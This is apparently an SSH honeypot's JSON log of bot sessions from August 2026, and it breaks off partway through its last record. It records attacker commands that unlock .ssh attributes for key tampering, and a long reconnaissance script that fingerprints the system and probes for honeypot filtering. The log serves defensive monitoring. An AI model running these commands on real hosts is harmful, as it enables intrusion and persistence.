[
 {
  "id": "56a3df3c-7288-451f-97b1-2425386c8d69",
  "name": "restless-thawing-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 41416,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 196,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:28:29.023148+00:00",
  "ended_at": "2026-08-27T13:28:29.120002+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "e5fce962-9da0-4f2e-821c-7189ba7b8c1c",
  "name": "bronzed-vigilant-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 45808,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:08:36.969894+00:00",
  "ended_at": "2026-08-27T13:08:38.478631+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "4a67f42d-5a36-461f-a737-cee38c3e6338",
  "name": "wry-balmy-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 45816,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:08:21.560931+00:00",
  "ended_at": "2026-08-27T13:08:23.420447+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1a44aa23-34f2-4ab5-aab8-45dbfbbaff84",
  "name": "ancient-sullen-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 60000,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 446,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:01:22.570271+00:00",
  "ended_at": "2026-08-27T13:01:24.019166+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "dd9ddacc-5394-4a9b-9f5b-df3e4b4b5abb",
  "name": "proud-salty-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 60026,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:01:05.858991+00:00",
  "ended_at": "2026-08-27T13:01:06.598111+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1299ead7-4c8d-4d6e-b457-56d7f39f78da",
  "name": "faded-upland-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 34556,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:00:24.397509+00:00",
  "ended_at": "2026-08-27T13:00:26.219203+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "4ece8435-a09b-40d6-80b1-401d239fc981",
  "name": "supple-weathered-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 34560,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:00:09.869482+00:00",
  "ended_at": "2026-08-27T13:00:10.800409+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "26dab256-82a4-47fa-95fb-5e692991cd49",
  "name": "vaulted-sleepy-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 38192,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:59:37.388555+00:00",
  "ended_at": "2026-08-27T12:59:40.357079+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2e00d555-5ed4-4392-8b86-81cdb972bf6e",
  "name": "lonesome-sleepy-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 33432,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 347,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:58:03.193437+00:00",
  "ended_at": "2026-08-27T11:58:05.147503+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2190
 },
 {
  "id": "4d83ec82-8178-4a96-b367-0d52f50e51ab",
  "name": "seaward-placid-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 33460,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:36.702068+00:00",
  "ended_at": "2026-08-27T11:57:38.387008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8dde47fb-39c4-4a49-b66c-fade3d342879",
  "name": "blazing-barren-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 40608,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 746,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:54:33.356037+00:00",
  "ended_at": "2026-08-27T11:54:34.786889+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "c0c3d87b-6f4a-4f7e-b9f6-613c4e6c3b60",
  "name": "quiet-smooth-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 49144,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:54:09.219955+00:00",
  "ended_at": "2026-08-27T11:54:10.003593+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cbd5b6dc-9f75-425d-995c-e3c96f367da3",
  "name": "thorny-humble-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 58122,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:35:53.031371+00:00",
  "ended_at": "2026-08-27T11:35:54.476890+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2078
 },
 {
  "id": "782746cf-f575-4776-b1d8-d75649b41f05",
  "name": "drifting-tranquil-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 58138,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:35:37.753414+00:00",
  "ended_at": "2026-08-27T11:35:39.710735+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1f866733-8134-4f5d-89d7-c5ff2479ad60",
  "name": "supple-dapper-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 47540,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:05:24.365572+00:00",
  "ended_at": "2026-08-27T10:05:24.594218+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0dd9c107-d87f-495c-8021-13ec72c57990",
  "name": "indigo-brave-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 44526,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:03:32.849172+00:00",
  "ended_at": "2026-08-27T10:03:32.970206+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "74be07b2-6907-465c-ba78-ce5a12ad16af",
  "name": "pleasant-genial-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 41504,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:01:38.532734+00:00",
  "ended_at": "2026-08-27T10:01:38.634450+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "bd25a654-2f22-4423-bca7-1b47635dbaab",
  "name": "thrifty-curious-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 38494,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:59:49.696960+00:00",
  "ended_at": "2026-08-27T09:59:49.799906+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "53d2f151-6261-4b0a-b6ef-19696a712833",
  "name": "vaulted-glacial-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 35438,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; 